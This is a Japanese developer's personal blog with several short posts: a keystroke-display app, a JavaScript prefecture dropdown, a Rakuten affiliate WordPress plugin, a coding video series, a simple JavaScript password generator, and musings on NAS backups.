さて、コードを見れば大体の技術レベルが分かるは本当?しかも性格も分かる場合があるですが、ソースコードを見ると其の人の技術がわかり、変数の名前付けとかで性格もある程度分かってしまったりします。そしてバージョン管理、ファイル管理で仕事に対する姿勢までもが分かってしまったりします。

Computer Science is Changing Everything

なので・・・日頃からご注意ください。自分の場合、Githubのコメントなどを見るとこの人は適当な人なんだなぁって事が分かってしまうかもしれません。唯、仕事に対する姿勢は少し違うかなっていうのはあります。

仕事になるとファイル管理やバージョン管理もこの頃はちゃんとするようになりました。やはり整理整頓は結構大事な要素です。ファイルがどこにいったんだろうとか検索しないでも良いように管理することは大切なことです。昔はごちゃごちゃなファイル管理をしていましたけど(反省)😣。

因みに私生活で使用するパソコンのフォルダ整理は全然ダメダメですね。整理しようと思っているのだけどフォルダやファイル数が多くて大変な感じです(負の遺産が多いです)。

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WindowsやMACのタイピングを表示するアプリと検索すれば!?

2022.01.18

Logging

この頃、気温が若干低いなという感覚があります、昨日なんて寒くてウォーキングを諦めました😌。

さてWindowsやMacのタイピングを表示するアプリと検索すれば、それなりのアプリが出てきますのでそちらを使用してみてください。では、ちょっと冷たいのでメモを残しときます。Macの場合、KeyCastrというフリーのアプリが有名らしいですね、因みにこのアプリ、Githubでしか公開していないので、ターミナルで操作とか出来る人じゃないとインストール出来なそうです。

Notion書きながらKeyCastrでタイピングを表示する

その他にもキーボードのログ(キーストローク)を表示するアプリは存在します。一応、リンクを貼っときますね。こちらから参照ください。👉https://ja.altapps.net/soft/keycastr リンク切れになっていた場合は自分で上記のようなキーワードで検索すれば見つかるはずです。

How To Display Keystrokes On macOS For FREE (Keycastr)

あと、GithubでKeyCastrをインストールする方法の動画も貼っときますね。
https://github.com/keycastr/keycastr

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セレクトメニューの都道府県は毎回、作るよりストックしておくべし。

2021.12.13

Logging

駆け出しフロントエンドエンジニアさんや駆け出しコーダーさんの中にはお問い合わせなどで、都道府県を毎回、書いている人はいると思いますが、大体、同じことを何回もするのは無駄です。なので、自分専用の雛形を作っておくといいですよ。そうする事によって作業は結構、短縮されたりします。今回は自分がよく使う、セレクトメニューの都道府県をJSで都道府県リストを生成するように作りました。

都道府県生成

繰り返しになりますが、こんな感じに自分が使用するデータや独自の関数はストックしておくと作業効率は上がります、毎回調べてプログラミングやコードを書くのは仕事上では手間になるので辞めた方が良いです。

最後にJSコードとGitHubのリンクを貼っときますので、ご自由使用くださいませ。

https://github.com/zip358/select_jp_ken

let useKendata = [
    {'no':'01','name':'北海道'},
    {'no':'02','name':'青森県'},
    {'no':'03','name':'岩手県'},
    {'no':'04','name':'宮城県'},
    {'no':'05','name':'秋田県'},
    {'no':'06','name':'山形県'},
    {'no':'07','name':'福島県'},
    {'no':'08','name':'茨城県'},
    {'no':'09','name':'栃木県'},
    {'no':'10','name':'群馬県'},
    {'no':'11','name':'埼玉県'},
    {'no':'12','name':'千葉県'},
    {'no':'13','name':'東京都'},
    {'no':'14','name':'神奈川県'},
    {'no':'15','name':'新潟県'},
    {'no':'16','name':'富山県'},
    {'no':'17','name':'石川県'},
    {'no':'18','name':'福井県'},
    {'no':'19','name':'山梨県'},
    {'no':'20','name':'長野県'},
    {'no':'21','name':'岐阜県'},
    {'no':'22','name':'静岡県'},
    {'no':'23','name':'愛知県'},
    {'no':'24','name':'三重県'},
    {'no':'25','name':'滋賀県'},
    {'no':'26','name':'京都府'},
    {'no':'27','name':'大阪府'},
    {'no':'28','name':'兵庫県'},
    {'no':'29','name':'奈良県'},
    {'no':'30','name':'和歌山県'},
    {'no':'31','name':'鳥取県'},
    {'no':'32','name':'島根県'},
    {'no':'33','name':'岡山県'},
    {'no':'34','name':'広島県'},
    {'no':'35','name':'山口県'},
    {'no':'36','name':'徳島県'},
    {'no':'37','name':'香川県'},
    {'no':'38','name':'愛媛県'},
    {'no':'39','name':'高知県'},
    {'no':'40','name':'福岡県'},
    {'no':'41','name':'佐賀県'},
    {'no':'42','name':'長崎県'},
    {'no':'43','name':'熊本県'},
    {'no':'44','name':'大分県'},
    {'no':'45','name':'宮崎県'},
    {'no':'46','name':'鹿児島県'},
    {'no':'47','name':'沖縄県'},
];
document.getElementById("ken").insertAdjacentHTML('afterbegin',(function(ken){
    let str = '';
    for (const key in ken) {
        str+= '<option value=' + ken[key].no + '>' + ken[key].name +'</option>';
    }
    return str;
}(useKendata)));

タグ

01, 39, github, JS, let, name, no, useKendata, エンジニア, エンド, お問い合わせ, コーダー, コード, こと, ご自由, ストック, セレクト, データ, プログラミング, フロント, メニュー, リスト, リンク, , , , 今回, 仕事, 何回, 作業, 使用, 効率, 北海, 大体, 専用, 感じ, 手間, , 最後, 毎回, 無駄, 生成, 短縮, 自分, 都道府県, 関数, 雛形, 駆け出し,

らくてんのアフィリエイトを記事の下に取り付けるプラグインを作りました。

2021.11.02

Logging

らくてんの アフィリエイト を記事の下に取り付けるプラグインを作りました。Composerを使用して楽天のSDKを取ってきているので、そちらをプラグインの中にインストールする必要と アフィリエイト のAPIIDなども必要になりますのでそちらも御自身で構える必要がありますが、それ程難しいことはないプログラムコードだと思います。

あとCSSなどもご自身が使用するサイトのデザインに合わしてご使用ください。今回、WordPressのプラグインですがソースコードを見たいだければ分かる通り、AmzのSDKも取り入れようかなとか思ったのですが、処理が重たくなり表示速度が下がりそうだったので辞めました。因みにAmzのSDKはComposerに公開していないようです。公式サイトからzipでダウンロードするか、githubから入手する方法しかないようですね。

仕様として、タグのワードから商品を検索し表示する方法とショートカットを使用して商品を表示させる方法があります。例えばRakuten_Seller_param type=”search” word=”ひろゆきのシン・未来予測”このようにショートコード書くと下記のように表示されます。また記事の最後に自動で紹介商品も表示されます。

追記:リクエストが多くなるとバグるみたいな‥‥。いまいち下記が表示されていない原因がわからない

追記:記事の最後に自動で紹介する機能は、このサイトでは一旦停止しています。

[Rakuten_Seller_param type=”search” word=”ひろゆきのシン・未来予測”]

トイウコトデ、WordPressのソースコードになります。

<?php
/*
Plugin Name: Rakuten_Seller
Plugin URI: https://zip358.com/
Description: 楽天アフィリエイトを表示
Author: @zip358com
Version: 0.1
Author URI: https://zip358.com/
*/
require_once plugin_dir_path( __FILE__ ).'/vendor/autoload.php';
define("RAKUTEN_YOUR_APPLICATION_ID","xxxxxxxxxxxxxxx");
define("RAKUTEN_YOUR_AFFILIATE_ID","xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");

define("AMAZON_YOUR_ACCESS_KEY_ID","");
define("AMAZON_YOUR_SECRET_KEY","");
define("AMAZON_YOUR_ENDPOINT","");
define("AMAZON_YOUR_URL","");


function Rakuten_Seller_content_plus($content) {
    if(is_single()) {
       $content.='[Rakuten_Seller_param type="auto"]';
    }
    return $content;
}

function Rakuten_Seller($params = array()){
     $htmlcode = "";
    extract(shortcode_atts(array(
        'type'=>'',
        'word'=>''
    ), $params));
    $client = new RakutenRws_Client();
    // アプリID (デベロッパーID) をセットします
    $client->setApplicationId(RAKUTEN_YOUR_APPLICATION_ID);
     
    // アフィリエイトID をセットします(任意)
    $client->setAffiliateId(RAKUTEN_YOUR_AFFILIATE_ID);

    if($type==="auto"){
        $tags = get_the_tags();
        $htmlcode.= "<div class='rakuten_seller_div'>";
        foreach( $tags as $tag) { 
            $htmlcode.= Rakuten_code($client,$tag->name);
        }        
        $htmlcode.= "</div>";
        
    }elseif($type==="search"){
        $htmlcode.= "<div class='rakuten_seller_div'>";
        $htmlcode.= Rakuten_code($client,$word);
        $htmlcode.= "</div>";
    }

    return $htmlcode;
 }

function Rakuten_code($client,$word="JavaScript"){
    $htmlcode = "";
   
    // IchibaItem/Search API から、keyword=$word を検索します
    $response = $client->execute('IchibaItemSearch', array(
      'keyword' => $word,
      'genreInformationFlag' => 1
    ));
    // レスポンスが正しいかを isOk() で確認することができます
    $cnt = 0;
    if ($response->isOk()) {
        foreach ($response as $item) {
           $htmlcode.= "<div class='rakuten_seller_item'>".
           "<img src='".$item["mediumImageUrls"][0]["imageUrl"]."'>".
           "<p>".$item["itemName"]."</p>".
           "<a class='rakuten_btn' href='".$item["affiliateUrl"] . "' title='".$item["itemName"]."'><span>楽天で購入"."</span></a></div>";
           $htmlcode.= amazon_code($item["isbn"],$item["jan"]);
           if($cnt>0){
                break;
           }
           $cnt++;
        }

    } else {
        //echo 'Error:'.$response->getMessage();
    }
    return $htmlcode;
}

function amazon_code($isbn="",$jan=""){
    $htmlcode = "";

    return $htmlcode;
}


add_shortcode('Rakuten_Seller_param', 'Rakuten_Seller');
add_filter('the_content', 'Rakuten_Seller_content_plus');

タグ

Amz, APIID, Composer, css, github, SDK, WordPress, zip, あと, アフィリエイト, インストール, コード, こと, ご自身, サイト, ショート, ソース, そちら, ダウンロード, タグ, デザイン, プラグイン, プログラム, らくてん, ワード, , , 今回, 仕様, 使用, 入手, 公式, 公開, 処理, 商品, 必要, 方法, 検索, 楽天, 自身, 表示, 記事, 通り, 速度,

T2がコードを10年書いている。Milliseconds-エラー対応編

2021.10.27

Logging

今回はエラー対応編です、ミリ秒を逐次表示するだけのコードだけどいろいろなひっかかる部分があるという事が動画を通して分かっていただければ幸いです。動画は高速なのでわかりにくいかもしれません、そんな人はgithubのヒストリーを閲覧ください。制作過程でどのような問題が現れたのかがわかると思います。

T2がコードを10年書いている。Milliseconds-エラー対応編part1

徐々に難しくなるかもしれませんが、一応、初心者が見て覚えると盗んで覚える、そして動画を見てプログラムって面白そうって思えるようなものを作っていきたいと思います。基本的に初心者がやってみたいなと思えるものを作っていければなと思っています。

思っていますが、それが出来るかは自分自身、分からないですけどね。なるべく心がけて作っていこうと思います。

https://github.com/zip358/T2_pg/commits/main/Milliseconds/assets/js/main.js

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10, 2, github, Milliseconds-, いろいろ, エラー, コード, それ, ヒストリー, プログラム, ミリ, もの, , , 今回, 初心者, 制作, 動画, 問題, 対応, , 自分, 自身, 表示, 過程, 部分, 閲覧, 高速,

T2のお問い合わせフォームフロント側が緩く完成、続きは今の所なしかな。

2021.10.26

Logging

朝起きは三文の徳ですが・・・。本当なのでしょうか、朝方からお問い合わせフォームのちょこちょこと残りを制作しておりました。

T2のお問い合わせフォームフロント側が緩く完成しました、パチパチ?。この雛形を元に制作してくださいと業者へ持っていくと値引きはしてくれるとは思います。即興ですが一応、汎用性がある作りにしています。

NEOプログラマーがコードを10年書いているお問い合わせフォーム編-part1

フロント側は実はあまり得意ではないです、全然わからない訳ではないのですがこの頃、コードを書かなかったら抜け落ちている部分が結構あり反省しております?

NEOプログラマーがコードを10年書いている。お問い合わせフォーム編-part2

ソースコードはgithubに置いてありますのでご自由にご使用くださいませ。あまり労力とかかけていないのですが、pushしてもgithubのページに反映されないという事象が何度もありまして反映待ちで結構な時間を取られました。

https://github.com/zip358/T2_pg/tree/main/inquiry

タグ

2, am-BShXaVuI, com, github, https, push, watch, www, youtube, お問い合わせ, コード, ソース, フォーム, フロント, ページ, , 事象, , 何度, 作り, 使用, , 制作, 労力, 即興, 反映, 反省, 完成, 得意, , , 時間, 朝方, 朝起き, 本当, 業者, 汎用性, 結構, , 部分, 雛形, ,

プログラム言語レッスン動画じゃない緩いやつ始めます。いやハジメマシタ!!

2021.10.25

Logging

プログラム言語レッスン動画じゃない緩いやつ始めます。YOUTUBEでむかし、ズブズブなPHP言語レッスン動画をUPしていました、今回は音声説明も何もないダダ、コードを書いている緩い動画を日々UPしていきます。動画に音楽を添えたスタイルにしようと思いますが、その他の解説や何やら動画に組み込みません。解説は概要に書くか、難しくなってきたらブログ記事にしようと思います。書いたコードサンプルはGithubにでもUPしていきます。

ネタが尽きたら動画UPの頻度が落ちると思います。タイトルは『T2がコードを10年書いている』です、今のYOUTUBEチャンネルを使ってUPしていきます。

トイウコトデ早速UPしました。

T2がコードを10年書いている。JS編-part1

初回はIF文で動作するプログラムになります。ソースコードは下記に置いていますのでご自由に使用くださいませ。

https://github.com/zip358/T2_pg

T2がコードを10年書いている。JS編-part2

追記:音声での解説を検討中。

タグ

10, 2, com, github, https, if, php, Qq-ctgcMRWQ, UP, watch, www, youtube, コード, サンプル, スタイル, ズブズブ, ソース, その他, タイトル, だだ, チャンネル, トイウコトデ, ネタ, ハジメマシタ, ブログ, プログラム, むかし, やつ, レッスン, 下記, , 今回, , 使用, 初回, 動作, 動画, , 日々, 概要, 解説, 言語, 記事, 説明, 音声, 音楽, 頻度,

パスコードをランダムで生成するコードです。JavaScriptで書いてみました。

2021.08.27

Logging

今日は朝から蒸し暑さを感じます。あの一週間も続いた雨はどこに行ってしまったのでしょうか?東京では立て続けに悲惨な事件が起きています、報道することにより模倣犯を増やしているような気がします。

さて、今日はパスコード(パスワード)をランダムで生成するコードをJavaScriptで書いてみました。パスコードの強度はそれ程、高くないかもしれませんが一応、パスコードを生成する事が出来ます。ソースコードを書いていてうっかりミスをしてしまいまして、無限ループを発生させてバグ取りに5分ぐらい費やしました。ループした原因は違う変数を判断文で使っていたという初歩的なミスです。この頃はそういうミスは稀ですが・・・その結果、無限ループに陥っていました。

パスコードというものを作ってみて案外簡単に作れるものだと実感。これを作る前にパスコードメーカーを作成するという動画を見ました。githubにソースコードも記載していましたので考え方は参考にしましたがコードは違うと思います。たにぐちさんの動画はvue.jsを使用してパスコードを作っているのに対して、自分はネイティブjsでパスコードを生成しているという違いがあります。

https://zip358.com/tool/PassCode/

JavaScriptでパスコードを生成するコード。
document.getElementById("btn1").addEventListener("click", () => {
    const mode = {
        mode0: !document.getElementById("mode0").value ? 8 : document.getElementById("mode0").value,
        mode1: document.getElementById("mode1").checked ? true : false,
        mode2: document.getElementById("mode2").checked ? true : false,
        mode3: document.getElementById("mode3").checked ? true : false,
        mode4: document.getElementById("mode4").checked ? true : false
    };
    const data = {
        txt_cnt: mode.mode0,
        txt1: mode.mode1 ? "0123456789" : "",
        txt2: mode.mode2 ? "ABCDEFGHIJKLMNOPQRSTUVWXYZ" : "",
        txt3: mode.mode3 ? "abcdefghijklmnopqrstuvwxyz" : "",
        txt4: mode.mode4 ? "#$&*@+-" : "",
    };


    // console.log(mode,data);

    let str = "";

    if (mode.mode1 || mode.mode2 || mode.mode3 || mode.mode4) {
        let txt_str = data.txt1 + data.txt2 + data.txt3 + data.txt4;
        do {
            str = "";
            for (let i = 1; i <= data.txt_cnt; i++) {
                str = str + txt_str.substr((getRandomInt(txt_str.length) - 1), 1);
            }
        } while ((() => {
            let flg = [];
            flg[0] = mode.mode1 ? /[0-9]/.test(str) : true;
            flg[1] = mode.mode2 ? /[A-Z]/.test(str) : true;
            flg[2] = mode.mode3 ? /[a-z]/.test(str) : true;
            flg[3] = mode.mode4 ? /[#|$|&|*|@|+|\-]/.test(str) : true;
            
            return (() => {
                let f = true;
                for (const key in flg) {
                    if (!flg[key]) {
                        f = false;
                    }
                }
                return f;
            })();
            return false;
        })() === false);
        document.getElementById("view").value = str;
    } else {
        alert("どれかを選択してください");
    }

});
function getRandomInt(max) {
    return Math.floor(Math.random() * max);
}

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NASと書いてナスと呼ぶ、お茄子のナスではありません。

2021.08.11

Logging

台風9が通り過ぎてから、なんだか暑さの中に涼しさを感じるようになりました、朝方とか結構涼しいなと感じますが日中はまだまだ暑い日が続きます。

さてお休みの日にYOUTUBEのオススメに出てきた、「NASを取り付けてみたら快適になった」とかいう動画を二本ほど立て続けに見ました。これをエンジニア目線で見ると古くなったPCにリナックスを入れてNAS化するので良いじゃんとは思ったものの、外からアクセスしたいなと思った時はセキュリティーによほど、自信がないと駄目だなと感じます。

10TBのNASを構築して、自分専用の大容量クラウドストレージを作る|Synology DS 220+

そう思うと市販のNASが良さげに感じますよね。ただ自分はグーグルのバックアップで良いじゃないのと思っているし、ソースコードはgithubなので十分ですよねと思ってます。容量の多い動画を取り扱っているわけでもないので欲しいなという気持ちはあるものの、ここは心を鬼にしてポチるのを辞めました。

【NAS構築】グーグルクラウドの改悪がキツいので14TBのNASを構築&メモリ増設|QNAP TS-251D

いま、ポチりたいのはCドライブを取っ替えたいという事だけです、まだ不安定なSSDを使用しております。

因みにNASってなんだよってのは、動画を見て頂けたら分かると思いますが簡単に説明するとファイルなどの保管庫(バックアップ)です、もしもパソコンのHDDが壊れたりした時にバックアップとして機能するものです。クラウドにファイルなどを預けることがなかった時代は耐久性が今より悪かったので、RAID技術などを使って自宅のPCの守っていたものですが、今はそういう事をする人は少なくなっていると思います。

尚、サーバーやクラウドではRAID技術は今でも使用されております。特に金融機関はそういう技術は強固に作られています、データが消えたら大変なことになりますからね。

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案件9割完成して案件に申し込むみたいな事は非効率だけど。

2021.08.05

Logging

今日、先日にツイートした案件の締切日ですが・・・(*´ω`*)、未来の自分は案件取れたでしょうか?来月の支払いをペイ出来る額ですので取れると良いですね。さて、案件9割完成して案件に申し込むみたいな事は非効率だけどこの非効率で仕事に応募している理由は、やっぱ安価な仕事でも仕事は仕事ですよという気持ちで取り組んでいます。

とある案件

因みに今回はこういう案件を作りました。JSのコードの行数は約800行、PHPのコードは約200行で合計、1000行のコードを2日間で書きました・・・?。サイトを動的な処理で動かしているので結構、無駄にコードを書いています。いつもの通り設計はなし、頭の中でさっさと考えて作っております。

もし案件が取れなかったらコードなどを自分の名前のサイト、もしくはgithubに公開します?ので、その時はご利用ください、可能性としては50%ぐらいの確率で請け負う事が出来ると考えています。

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1000, 2, 200, 50, 800, , github, JS, php, コード, ご利用, サイト, ツイート, ペイ, , , 今回, 今日, 仕事, 先日, 公開, 処理, 効率, 可能性, 合計, 名前, 安価, 完成, 応募, , , 未来, 来月, 案件, 気持ち, 無駄, 理由, 確率, 締切, 自分, 行数, 設計, 通り, , ,